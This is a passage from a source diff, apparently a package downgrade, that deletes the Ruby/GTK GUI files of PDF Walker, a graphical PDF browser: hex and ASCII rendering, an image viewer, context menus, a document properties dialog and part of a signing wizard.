start_line = [ 0, start_line ].max - - render_hex_lines(start_line, end_line) - render_ascii_lines(start_line, end_line) - render_offsets(start_line, end_line) if @show_offsets - end - - def render_hex_highlights(cursor_line) - xcpl = @cpl * 2 + @cpl / @group_type - - @highlights.each do |hl| - next if (hl.start - hl.end).abs < hl.min_select - - validate_highlight(hl) - - s, e = [ hl.start, hl.end ].sort - sl, el = hl.start_line, hl.end_line - - hl.style.attach(@xdisp.window) if hl.style - state = (@active_view == View::HEX) ? Gtk::STATE_SELECTED : Gtk::STATE_INSENSITIVE - - if cursor_line == sl - cursor_off = 2 * (s % @cpl) + (s % @cpl) / @group_type - if cursor_line == el - len = 2 * (e % @cpl + 1) + (e % @cpl) / @group_type - else - len = xcpl - end - - len -= cursor_off - (hl.style || self.style).paint_flat_box( - @xdisp.window, - state, Gtk::SHADOW_NONE, - nil, @xdisp, '', - cursor_off * @char_width, cursor_line * @char_height, - len * @char_width, @char_height - ) if len > 0 - - elsif cursor_line == el - cursor_off = 2 * (e % @cpl + 1) + (e % @cpl) / @group_type - (hl.style || self.style).paint_flat_box( - @xdisp.window, - state, Gtk::SHADOW_NONE, - nil, @xdisp, '', - 0, cursor_line * @char_height, - cursor_off * @char_width, @char_height - ) if cursor_off > 0 - - elsif cursor_line > sl and cursor_line < el - (hl.style || self.style).paint_flat_box( - @xdisp.window, - state, Gtk::SHADOW_NONE, - nil, @xdisp, '', - 0, cursor_line * @char_height, - xcpl * @char_width, @char_height - ) - end - - hl.style.attach(@adisp.window) if hl.style - end - end - - def render_hex_lines(imin, imax) - return unless self.realized? and @cpl != 0 - - cursor_line = @cursor_pos / @cpl - @top_line - - @xdisp_gc.set_foreground(self.style.base(Gtk::STATE_NORMAL)) - @xdisp.window.draw_rectangle( - @xdisp_gc, - true, - 0, - imin * @char_height, - @xdisp.allocation.width, - (imax - imin + 1) * @char_height - ) - - imax = [ imax, @vis_lines, @lines ].min - - @xdisp_gc.set_foreground(self.style.text(Gtk::STATE_NORMAL)) - - frm_len = format_xblock((@top_line+imin) * @cpl, [(@top_line+imax+1) * @cpl, @data.size].min) - - tmp = nil - xcpl = @cpl*2 + @cpl/@group_type - (imin..imax).each do |i| - return unless (tmp = frm_len - ((i - imin) * xcpl)) > 0 - - render_hex_highlights(i) - text = @disp_buffer[(i-imin) * xcpl, [xcpl, tmp].min] - @xlayout.set_text(text) - @xdisp.window.draw_layout(@xdisp_gc, 0, i * @char_height, @xlayout) - end - - render_xc if cursor_line >= imin and cursor_line <= imax and @cursor_shown - end - - def render_ascii_highlights(cursor_line) - @highlights.each do |hl| - next if (hl.start - hl.end).abs < hl.min_select - - validate_highlight(hl) - - s, e = [ hl.start, hl.end ].sort - sl, el = hl.start_line, hl.end_line - - hl.style.attach(@adisp.window) if hl.style - state = (@active_view == View::ASCII) ? Gtk::STATE_SELECTED : Gtk::STATE_INSENSITIVE - - if cursor_line == sl - cursor_off = s % @cpl - len = - if cursor_line == el - e - s + 1 - else - @cpl - cursor_off - end - - (hl.style || self.style).paint_flat_box( - @adisp.window, - state, Gtk::SHADOW_NONE, - nil, @adisp, '', - cursor_off * @char_width, cursor_line * @char_height, - len * @char_width, @char_height - ) if len > 0 - - elsif cursor_line == el - cursor_off = e % @cpl + 1 - (hl.style || self.style).paint_flat_box( - @adisp.window, - state, Gtk::SHADOW_NONE, - nil, @adisp, '', - 0, cursor_line * @char_height, - cursor_off * @char_width, @char_height - ) if cursor_off > 0 - - elsif cursor_line > sl and cursor_line < el - (hl.style || self.style).paint_flat_box( - @adisp.window, - state, Gtk::SHADOW_NONE, - nil, @adisp, '', - 0, cursor_line * @char_height, - @cpl * @char_width, @char_height - ) - end - - hl.style.attach(@adisp.window) if hl.style - end - end - - def render_ascii_lines(imin, imax) - return unless self.realized? and @cpl != 0 - - cursor_line = @cursor_pos / @cpl - @top_line - - @adisp_gc.set_foreground(self.style.base(Gtk::STATE_NORMAL)) - @adisp.window.draw_rectangle( - @adisp_gc, - true, - 0, - imin * @char_height, - @adisp.allocation.width, - (imax - imin + 1) * @char_height - ) - - imax = [ imax, @vis_lines, @lines ].min - - @adisp_gc.set_foreground(self.style.text(Gtk::STATE_NORMAL)) - - frm_len = format_ablock((@top_line+imin) * @cpl, [(@top_line+imax+1) * @cpl, @data.size].min) - - tmp = nil - (imin..imax).each do |i| - return unless (tmp = frm_len - ((i - imin) * @cpl)) > 0 - - render_ascii_highlights(i) - text = @disp_buffer[(i-imin) * @cpl, [@cpl, tmp].min] - @alayout.set_text(text) - @adisp.window.draw_layout(@adisp_gc, 0, i * @char_height, @alayout) - end - - render_ac if cursor_line >= imin and cursor_line <= imax and @cursor_shown - end - - def render_offsets(imin, imax) - return unless self.realized? - - unless @offsets_gc - @offsets_gc = Gdk::GC.new(@offsets.window) - @offsets_gc.set_exposures(true) - end - - @offsets_gc.set_foreground(self.style.base(Gtk::STATE_INSENSITIVE)) - @offsets.window.draw_rectangle( - @offsets_gc, - true, - 0, imin * @char_height, - @offsets.allocation.width, (imax - imin + 1) * @char_height - ) - - imax = [ imax, @vis_lines, @lines - @top_line - 1 ].min - @offsets_gc.set_foreground(self.style.text(Gtk::STATE_NORMAL)) - - (imin..imax).each do |i| - text = "%08x" % ((@top_line + i) * @cpl + @starting_offset) - @olayout.set_text(text) - @offsets.window.draw_layout(@offsets_gc, 0, i * @char_height, @olayout) - end - end - - def render_byte(pos) - return unless @xdisp_gc and @adisp_gc and @xdisp.realized? and @adisp.realized? - - return unless (coords = get_xcoords(pos)) - cx, cy = coords - c = format_xbyte(pos) - - @xdisp_gc.set_foreground(self.style.base(Gtk::STATE_NORMAL)) - @xdisp.window.draw_rectangle( - @xdisp_gc, - true, - cx, cy, - 2 * @char_width, @char_height - ) - - if pos < @data.size - @xdisp_gc.set_foreground(self.style.text(Gtk::STATE_NORMAL)) - @xlayout.set_text(c) - @xdisp.window.draw_layout(@xdisp_gc, cx, cy, @xlayout) - end - - return unless (coords = get_acoords(pos)) - cx, cy = coords - - @adisp_gc.set_foreground(self.style.base(Gtk::STATE_NORMAL)) - @adisp.window.draw_rectangle( - @adisp_gc, - true, - cx, cy, - @char_width, @char_height - ) - - if pos < @data.size - @adisp_gc.set_foreground(self.style.text(Gtk::STATE_NORMAL)) - c = get_byte(pos) - c = '.' unless is_displayable(c) - - @alayout.set_text(c) - @adisp.window.draw_layout(@adisp_gc, cx, cy, @alayout) - end - end - - def render_xc - return unless @xdisp.realized? - - if coords = get_xcoords(@cursor_pos) - cx, cy = coords - - c = format_xbyte(@cursor_pos) - if @lower_nibble - cx += @char_width - c = c[1,1] - else - c = c[0,1] - end - - @xdisp_gc.set_foreground(self.style.base(Gtk::STATE_ACTIVE)) - @xdisp.window.draw_rectangle( - @xdisp_gc, - (@active_view == View::HEX), - cx, cy, - @char_width, - @char_height - 1 - ) - @xdisp_gc.set_foreground(self.style.text(Gtk::STATE_ACTIVE)) - @xlayout.set_text(c) - @xdisp.window.draw_layout(@xdisp_gc, cx, cy, @xlayout) - end - end - - def render_ac - return unless @adisp.realized? - - if coords = get_acoords(@cursor_pos) - cx, cy = coords - - c = get_byte(@cursor_pos) - c = '.' unless is_displayable(c) - - @adisp_gc.set_foreground(self.style.base(Gtk::STATE_ACTIVE)) - @adisp.window.draw_rectangle( - @adisp_gc, - (@active_view == View::ASCII), - cx, cy, - @char_width, - @char_height - 1 - ) - @adisp_gc.set_foreground(self.style.text(Gtk::STATE_ACTIVE)) - @alayout.set_text(c) - @adisp.window.draw_layout(@adisp_gc, cx, cy, @alayout) - end - end - - def get_xcoords(pos) - return nil if @cpl == 0 - - cy = pos / @cpl - @top_line - return nil if cy < 0 - - cx = 2 * (pos % @cpl) - spaces = (pos % @cpl) / @group_type - - cx *= @char_width - cy *= @char_height - spaces *= @char_width - - [cx + spaces, cy] - end - - def get_acoords(pos) - return nil if @cpl == 0 - - cy = pos / @cpl - @top_line - return nil if cy < 0 - - cy *= @char_height - cx = @char_width * (pos % @cpl) - - [cx, cy] - end - - def format_xblock(s, e) - @disp_buffer = '' - - (s+1..e).each do |i| - @disp_buffer << get_byte(i - 1).unpack('H2')[0] - @disp_buffer << ' ' if i % @group_type == 0 - end - - @disp_buffer.size - end - - def format_ablock(s, e) - @disp_buffer = '' - - (s..e-1).each do |i| - c = get_byte(i) - c = '.' unless is_displayable(c) - @disp_buffer << c - end - - @disp_buffer.size - end - - def get_byte(offset) - if offset >= 0 and offset < @data.size - @data[offset, 1] - else - 0.chr - end - end - - def format_xbyte(pos) - get_byte(pos).unpack('H2')[0] - end - end - -end - -__END__ -hexedit = Gtk::HexEditor.new(File.read '/bin/cat') -hexedit.show_offsets(true) -hexedit.set_cursor 2 -hexedit.set_cursor_on_lower_nibble true -hexedit.set_font 'Terminus 12' -hexedit.set_group_type Gtk::HexEditor::Group::LONG - -window = Gtk::Window.new -window.add(hexedit) - -window.show_all - -Gtk.main diff -Nru origami-1.2.7/bin/gui/hexview.rb origami-1.2.7+really0.7.4/bin/gui/hexview.rb --- origami-1.2.7/bin/gui/hexview.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/gui/hexview.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,82 +0,0 @@ -=begin - -= File - hexview.rb - -= Info - This file is part of PDF Walker, a graphical PDF file browser - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - PDF Walker is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - PDF Walker is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with PDF Walker. If not, see . - -=end - -require 'gui/gtkhex' - -module PDFWalker - - class Walker < Window - - private - - def create_hexview - @hexview = DumpView.new(self) - end - - class DumpView < ScrolledWindow - - def initialize(parent) - @parent = parent - super() - - set_policy(POLICY_AUTOMATIC, POLICY_AUTOMATIC) - - @current_obj = nil - - @view = HexEditor.new - @view.show_offsets(true) - - add_with_viewport @view - end - - def clear - @view.set_data '' - end - - def load(object) - return if @current_obj.equal?(object) - - begin - self.clear - - case object - when Origami::Stream - @view.set_data(object.data) - when Origami::String - @view.set_data(object.value) - end - - @current_obj = object - - rescue Exception => e - @parent.error("An error occured while loading this object.\n#{e} (#{e.class})") - end - end - - end - - end - -end diff -Nru origami-1.2.7/bin/gui/imgview.rb origami-1.2.7+really0.7.4/bin/gui/imgview.rb --- origami-1.2.7/bin/gui/imgview.rb 2013-04-08 20:02:38.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/gui/imgview.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,72 +0,0 @@ -=begin - -= File - imgview.rb - -= Info - This file is part of PDF Walker, a graphical PDF file browser - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - PDF Walker is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - PDF Walker is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with PDF Walker. If not, see . - -=end - -module PDFWalker - - class ImgViewer < Window - attr_reader :image - - def initialize - super() - - set_title "Image view" - set_decorated false - set_resizable false - - add_events(Gdk::Event::KEY_RELEASE_MASK) - signal_connect('key_release_event') { |w, event| - destroy if event.keyval == Gdk::Keyval::GDK_Escape - } - end - - def show_raw_img(data, w, h, bpc, bpr) - set_default_size w,h - - pixbuf = Gdk::Pixbuf.new data, - Gdk::Pixbuf::ColorSpace::RGB, false, bpc, - w, h, - bpr - - @image = Gtk::Image.new(pixbuf) - add @image - - show_all - end - - def show_compressed_img(data) - loader = Gdk::PixbufLoader.new - loader.last_write data - - pixbuf = loader.pixbuf - set_default_size pixbuf.width, pixbuf.height - - @image = Gtk::Image.new(pixbuf) - add @image - - show_all - end - end - -end diff -Nru origami-1.2.7/bin/gui/menu.rb origami-1.2.7+really0.7.4/bin/gui/menu.rb --- origami-1.2.7/bin/gui/menu.rb 2013-04-09 10:36:53.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/gui/menu.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,400 +0,0 @@ -=begin - -= File - menu.rb - -= Info - This file is part of PDF Walker, a graphical PDF file browser - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - PDF Walker is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - PDF Walker is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with PDF Walker. If not, see . - -=end - -module PDFWalker - - module Popable - - @@menus = Hash.new([]) - @@menus[:"PDF File"] = - [ - { - :Name => Stock::SAVE_AS, - :Sensitive => true, - :Callback => lambda { |widget, viewer, path| - viewer.parent.save - } - }, - { - :Name => "Serialize", - :Sensitive => true, - :Callback => lambda { |widget, viewer, path| - viewer.parent.serialize - } - }, - { - :Name => :"---" - }, - { - :Name => Stock::PROPERTIES, - :Sensitive => true, - :Callback => lambda { |widget, viewer, path| - viewer.parent.display_file_properties - } - }, - { - :Name => :"---" - }, - { - :Name => Stock::CLOSE, - :Sensitive => true, - :Callback => lambda { |widget, viewer, path| - viewer.parent.close - } - } - ] - - @@menus[:Reference] = - [ - { - :Name => Stock::JUMP_TO, - :Sensitive => true, - :Callback => lambda { |widget, viewer, path| - viewer.row_activated(path, viewer.get_column(viewer.class::TEXTCOL)) - } - } - ] - - @@menus[:Revision] = - [ - { - :Name => "Save to this revision", - :Sensitive => true, - :Callback => lambda { |widget, viewer, path| - revstr = viewer.model.get_value(viewer.model.get_iter(path), viewer.class::TEXTCOL) - revstr.slice!(0, "Revision ".size) - - revnum = revstr.to_i - - dialog = Gtk::FileChooserDialog.new("Save PDF File", - viewer.parent, - Gtk::FileChooser::ACTION_SAVE, - nil, - [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL], - [Gtk::Stock::SAVE, Gtk::Dialog::RESPONSE_ACCEPT] - ) - - dialog.filter = FileFilter.new.add_pattern("*.pdf") - - if dialog.run == Gtk::Dialog::RESPONSE_ACCEPT - viewer.parent.opened.save_upto(revnum, dialog.filename) - end - - dialog.destroy - } - } - ] - - @@menus[:Stream] = - [ - { - :Name => "Dump encoded stream", - :Sensitive => true, - :Callback => lambda { |widget, viewer, path| - stream = viewer.model.get_value(viewer.model.get_iter(path), viewer.class::OBJCOL) - - viewer.parent.save_data("Save stream to file", stream.rawdata) - } - }, - { - :Name => "Dump decoded stream", - :Sensitive => true, - :Callback => lambda { |widget, viewer, path| - stream = viewer.model.get_value(viewer.model.get_iter(path), viewer.class::OBJCOL) - - viewer.parent.save_data("Save stream to file", stream.data) - } - } - ] - - @@menus[:String] = - [ - { - :Name => "Dump string", - :Sensitive => true, - :Callback => lambda { |widget, viewer, path| - string = viewer.model.get_value(viewer.model.get_iter(path), viewer.class::OBJCOL) - - viewer.parent.save_data("Save string to file", string.value) - } - } - ] - - @@menus[:Image] = @@menus[:Stream] + - [ - { - :Name => :"---" - }, - { - :Name => "View image", - :Sensitive => true, - :Callback => lambda { |widget, viewer, path| - stm = viewer.model.get_value(viewer.model.get_iter(path), viewer.class::OBJCOL) - w,h = stm.Width, stm.Height - colors = - case stm.ColorSpace - when :DeviceGray.to_o then 1 - when :DeviceRGB.to_o then 3 - when :DeviceCMYK.to_o then 4 - else - 1 - end - bpc = stm.BitsPerComponent || 8 - bpr = (w * colors * bpc + 7) >> 3 - data = stm.data - - begin - imgview = ImgViewer.new - if stm.Filter == :DCTDecode or (stm.Filter.is_a?(Array) and stm.Filter[0] == :DCTDecode) - imgview.show_compressed_img data - else - imgview.show_raw_img data, w, h, bpc, bpr - end - rescue Exception => e - viewer.parent.error("#{e.class}: #{e.message}") - end - } - } - ] - - def popup_menu(obj, event, path) - - menu = Menu.new - - type = if obj.is_a?(Origami::Object) - if obj.is_a?(Graphics::ImageXObject) - :Image - else - obj.native_type.to_s.split("::").last.to_sym - end - else case obj - when Origami::PDF - :"PDF File" - when Origami::PDF::Revision, Origami::Adobe::PPKLite::Revision - :Revision - when ::Array - :Body - when Origami::PDF::Header, Origami::Adobe::PPKLite::Header - :Header - when Origami::Trailer - :Trailer - when Origami::XRef::Section - :XRefSection - when Origami::XRef::Subsection - :XRefSubsection - when Origami::XRef, Origami::XRefToCompressedObj - :XRef - else - :Unknown - end - end - - title = obj.is_a?(Origami::Object) ? "Object : " : "" - title << type.to_s - menu.append(MenuItem.new(title).set_sensitive(false).modify_text(Gtk::STATE_INSENSITIVE, Gdk::Color.new(255,0,255))) - - if obj.is_a?(Origami::Object) - if obj.is_indirect? - menu.append(MenuItem.new("Number : #{obj.no}; Generation : #{obj.generation}").set_sensitive(false)) - menu.append(MenuItem.new("File offset : #{obj.file_offset}").set_sensitive(false)) - xrefsproc = lambda { |widget,viewer,path| - ref = viewer.model.get_value(viewer.model.get_iter(path), viewer.class::OBJCOL) - viewer.parent.show_xrefs(ref) - } - getxrefs = MenuItem.new("Search references to this object").set_sensitive(true) - getxrefs.signal_connect("activate", self, path, &xrefsproc) - - menu.append(getxrefs) - elsif not obj.parent.nil? - gotoproc = lambda { |widget,viewer,path| - dest = viewer.model.get_value(viewer.model.get_iter(path), viewer.class::OBJCOL).parent - viewer.goto(dest) - } - gotoparent = MenuItem.new("Goto Parent Object").set_sensitive(true) - gotoparent.signal_connect("activate", self, path, &gotoproc) - - menu.append(gotoparent) - end - end - - items = @@menus[type] - menu.append(SeparatorMenuItem.new) if not items.empty? - - items.each { |item| - - if item[:Name] == :"---" - entry = SeparatorMenuItem.new - else - if item[:Name].is_a?(String) - entry = MenuItem.new(item[:Name]) - else entry = ImageMenuItem.new(item[:Name]) - end - - entry.set_sensitive(item[:Sensitive]) - entry.signal_connect("activate", self, path, &item[:Callback]) - end - - menu.append(entry) - } - - menu.show_all - menu.popup(nil, nil, event.button, event.time) - - end - - end - - class Walker < Window - - private - - def create_menus - - AccelMap.add_entry("/File/Open", Gdk::Keyval::GDK_O, Gdk::Window::CONTROL_MASK) - AccelMap.add_entry("/File/Refresh", Gdk::Keyval::GDK_R, Gdk::Window::CONTROL_MASK) - AccelMap.add_entry("/File/Close", Gdk::Keyval::GDK_W, Gdk::Window::CONTROL_MASK) - AccelMap.add_entry("/File/Save", Gdk::Keyval::GDK_S, Gdk::Window::CONTROL_MASK) - AccelMap.add_entry("/File/Quit", Gdk::Keyval::GDK_Q, Gdk::Window::CONTROL_MASK) - AccelMap.add_entry("/Document/Search", Gdk::Keyval::GDK_F, Gdk::Window::CONTROL_MASK) - - @menu = MenuBar.new - - #################################################### - file_ag = Gtk::AccelGroup.new - @file_menu = Menu.new.set_accel_group(file_ag).set_accel_path("/File") - add_accel_group(file_ag) - - @file_menu_open = ImageMenuItem.new(Stock::OPEN).set_accel_path("/File/Open") - @file_menu_recent = MenuItem.new("Last opened") - @file_menu_deserialize = MenuItem.new("Deserialize") - @file_menu_refresh = ImageMenuItem.new(Stock::REFRESH).set_sensitive(false).set_accel_path("/File/Refresh") - @file_menu_close = ImageMenuItem.new(Stock::CLOSE).set_sensitive(false).set_accel_path("/File/Close") - @file_menu_saveas = ImageMenuItem.new(Stock::SAVE_AS).set_sensitive(false) - @file_menu_serialize = MenuItem.new("Serialize").set_sensitive(false) - @file_menu_exit = ImageMenuItem.new(Stock::QUIT).set_accel_path("/File/Quit") - - @export_menu = Menu.new - @export_pdf_menu = MenuItem.new("As reassembled PDF").set_accel_path("/File/Save") - @export_graph_menu = MenuItem.new("As GraphViz dot file") - @export_graphml_menu = MenuItem.new("As GraphML file") - - @export_pdf_menu.signal_connect('activate') do save end - @export_graph_menu.signal_connect('activate') do save_dot end - @export_graphml_menu.signal_connect('activate') do save_graphml end - - @export_menu.append(@export_pdf_menu) - @export_menu.append(@export_graph_menu) - @export_menu.append(@export_graphml_menu) - - @file_menu_saveas.set_submenu(@export_menu) - - @file_menu_open.signal_connect('activate') do open end - @file_menu_deserialize.signal_connect('activate') do deserialize end - @file_menu_refresh.signal_connect('activate') do open(@filename) end - @file_menu_close.signal_connect('activate') do close end - @file_menu_serialize.signal_connect('activate') do serialize end - @file_menu_exit.signal_connect('activate') do self.destroy end - - update_recent_menu - - @file_menu.append(@file_menu_open) - @file_menu.append(@file_menu_recent) - @file_menu.append(@file_menu_deserialize) - @file_menu.append(@file_menu_refresh) - @file_menu.append(@file_menu_close) - @file_menu.append(@file_menu_saveas) - @file_menu.append(@file_menu_serialize) - @file_menu.append(@file_menu_exit) - - @menu.append(MenuItem.new('_File').set_submenu(@file_menu)) - #################################################### - - doc_ag = Gtk::AccelGroup.new - @document_menu = Menu.new.set_accel_group(doc_ag) - add_accel_group(doc_ag) - - @document_menu_search = ImageMenuItem.new(Stock::FIND).set_sensitive(false).set_accel_path("/Document/Search") - @document_menu_gotocatalog = MenuItem.new("Jump To Catalog").set_sensitive(false) - @document_menu_gotorev = MenuItem.new("Jump To Revision...").set_sensitive(false) - @document_menu_gotopage = MenuItem.new("Jump To Page...").set_sensitive(false) - @document_menu_gotoobj = MenuItem.new("Jump To Object...").set_sensitive(false) - @document_menu_properties = ImageMenuItem.new(Stock::PROPERTIES).set_sensitive(false) - @document_menu_sign = MenuItem.new("Sign the document").set_sensitive(false) - @document_menu_ur = MenuItem.new("Enable Usage Rights").set_sensitive(false) - - @document_menu_search.signal_connect('activate') do search end - @document_menu_gotocatalog.signal_connect('activate') do goto_catalog end - @document_menu_gotoobj.signal_connect('activate') do goto_object end - @document_menu_properties.signal_connect('activate') do display_file_properties end - @document_menu_sign.signal_connect('activate') do display_signing_wizard end - @document_menu_ur.signal_connect('activate') do display_usage_rights_wizard end - - @document_menu.append(@document_menu_search) - @document_menu.append(MenuItem.new) - @document_menu.append(@document_menu_gotocatalog) - @document_menu.append(@document_menu_gotorev) - @document_menu.append(@document_menu_gotopage) - @document_menu.append(@document_menu_gotoobj) - @document_menu.append(MenuItem.new) - @document_menu.append(@document_menu_sign) - @document_menu.append(@document_menu_ur) - @document_menu.append(@document_menu_properties) - - @menu.append(MenuItem.new('_Document').set_submenu(@document_menu)) - #################################################### - @help_menu = Menu.new - @help_menu_profile = CheckMenuItem.new("Profiling (Debug purposes only)").set_active(@config.profile?) - @help_menu_profile.signal_connect('toggled') do @config.set_profiling(@help_menu_profile.active?) end - - @help_menu_about = ImageMenuItem.new(Stock::ABOUT) - - @help_menu_about.signal_connect('activate') do about end - - @help_menu.append(@help_menu_profile) - @help_menu.append(@help_menu_about) - - @menu.append(MenuItem.new('_Help').set_submenu(@help_menu)) - #################################################### - - end - - def update_recent_menu - - @recent_menu = Menu.new - @config.recent_files.each { |file| - - menu = MenuItem.new(file) - menu.signal_connect('activate') do open(file) end - - @recent_menu.append(menu) - } - - @file_menu_recent.set_submenu(@recent_menu) - @file_menu_recent.show_all - end - - end - -end diff -Nru origami-1.2.7/bin/gui/properties.rb origami-1.2.7+really0.7.4/bin/gui/properties.rb --- origami-1.2.7/bin/gui/properties.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/gui/properties.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,144 +0,0 @@ -=begin - -= File - properties.rb - -= Info - This file is part of PDF Walker, a graphical PDF file browser - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - PDF Walker is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - PDF Walker is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with PDF Walker. If not, see . - -=end - -require 'digest/md5' - -module PDFWalker - - class Walker < Window - - def display_file_properties - if @opened - prop = Properties.new(self, @opened) - end - end - - class Properties < Dialog - - @@acrobat_versions = - { - 1.0 => "1.x", - 1.1 => "2.x", - 1.2 => "3.x", - 1.3 => "4.x", - 1.4 => "5.x", - 1.5 => "6.x", - 1.6 => "7.x", - 1.7 => "8.x / 9.x / 10.x" - } - - def initialize(parent, pdf) - super("Document properties", parent, Dialog::MODAL, [Stock::CLOSE, Dialog::RESPONSE_NONE]) - - docframe = Frame.new(" File properties ") - stat = File.stat(parent.filename) - - if RUBY_VERSION < '1.9' - require 'iconv' - i = Iconv.new("UTF-8//IGNORE//TRANSLIT", "ISO-8859-1") - - creation_date = i.iconv(stat.ctime.to_s) - last_modified = i.iconv(stat.mtime.to_s) - fd = File.open(parent.filename, 'rb') - md5sum = Digest::MD5.hexdigest(fd.read) - fd.close - i.close - else - creation_date = stat.ctime.to_s.encode("utf-8", :invalid => :replace, :undef => :replace) - last_modified = stat.mtime.to_s.encode("utf-8", :invalid => :replace, :undef => :replace) - md5sum = Digest::MD5.hexdigest(File.binread(parent.filename)) - end - - labels = - [ - [ "Filename:", parent.filename ], - [ "File size:", "#{File.size(parent.filename)} bytes" ], - [ "MD5:", md5sum ], - [ "Read-only:", "#{not stat.writable?}" ], - [ "Creation date:", creation_date ], - [ "Last modified:", last_modified ] - ] - - doctable = Table.new(labels.size + 1, 3) - - row = 0 - labels.each do |name, value| - - doctable.attach(Label.new(name).set_alignment(1,0), 0, 1, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) - doctable.attach(Label.new(value).set_alignment(0,0), 1, 2, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) - - row = row.succ - end - - docframe.border_width = 5 - docframe.shadow_type = Gtk::SHADOW_IN - docframe.add(doctable) - - pdfframe = Frame.new(" PDF properties ") - - labels = - [ - [ "Version:", "#{pdf.header.to_f} (Acrobat #{ if pdf.header.to_f >= 1.0 and pdf.header.to_f <= 1.7 then @@acrobat_versions[pdf.header.to_f] else "unknown version" end})" ], - [ "Number of revisions:", "#{pdf.revisions.size}" ], - [ "Number of indirect objects:", "#{pdf.indirect_objects.size}" ], - [ "Number of pages:", "#{pdf.pages.size}" ], - [ "Is linearized:", "#{pdf.is_linearized?}" ], - [ "Is encrypted:", "#{pdf.is_encrypted?}" ], - [ "Is signed:", "#{pdf.is_signed?}" ], - [ "Has usage rights:", "#{pdf.has_usage_rights?}"], - [ "Contains Acroform:", "#{pdf.has_form?}" ], - #[ "Contains XFA forms:", "#{pdf.has_xfa_forms?}" ] - [ "Has document information:", "#{pdf.has_document_info?}" ], - [ "Has metadata:", "#{pdf.has_metadata?}" ] - ] - - pdftable = Table.new(labels.size + 1, 3) - - row = 0 - labels.each do |name, value| - - pdftable.attach(Label.new(name).set_alignment(1,0), 0, 1, row, row + 1, Gtk::FILL, Gtk::SHRINK, 4, 4) - pdftable.attach(Label.new(value).set_alignment(0,0), 1, 2, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) - - row = row.succ - end - - pdfframe.border_width = 5 - pdfframe.shadow_type = Gtk::SHADOW_IN - pdfframe.add(pdftable) - - vbox.add(docframe) - vbox.add(pdfframe) - - signal_connect('response') { destroy } - - show_all - end - - end - - end - -end diff -Nru origami-1.2.7/bin/gui/signing.rb origami-1.2.7+really0.7.4/bin/gui/signing.rb --- origami-1.2.7/bin/gui/signing.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/gui/signing.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,635 +0,0 @@ -=begin - -= File - signing.rb - -= Info - This file is part of PDF Walker, a graphical PDF file browser - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - PDF Walker is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - PDF Walker is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with PDF Walker. If not, see . - -=end - -module PDFWalker - - class Walker < Window - - def display_signing_wizard - - if @opened - SignWizard.new(self, @opened) - end - - end - - def display_usage_rights_wizard - - if @opened - UsageRightsWizard.new(self, @opened) - end - - end - - class UsageRightsWizard < Assistant - - def initialize(parent, pdf) - - super() - - @parent = parent - - @pkey, @cert = nil, nil - - create_intro_page - create_rights_selection_page - create_termination_page - - signal_connect('delete_event') { self.destroy } - signal_connect('cancel') { self.destroy } - signal_connect('close') { self.destroy } - - signal_connect('apply') { - - rights = [] - - rights << UsageRights::Rights::DOCUMENT_FULLSAVE if @document_fullsave.active? - - rights << UsageRights::Rights::ANNOTS_CREATE if @annots_create.active? - rights << UsageRights::Rights::ANNOTS_DELETE if @annots_delete.active? - rights << UsageRights::Rights::ANNOTS_MODIFY if @annots_modify.active? - rights << UsageRights::Rights::ANNOTS_COPY if @annots_copy.active? - rights << UsageRights::Rights::ANNOTS_IMPORT if @annots_import.active? - rights << UsageRights::Rights::ANNOTS_EXPORT if @annots_export.active? - rights << UsageRights::Rights::ANNOTS_ONLINE if @annots_online.active? - rights << UsageRights::Rights::ANNOTS_SUMMARYVIEW if @annots_sumview.active? - - rights << UsageRights::Rights::FORM_FILLIN if @form_fillin.active? - rights << UsageRights::Rights::FORM_IMPORT if @form_import.active? - rights << 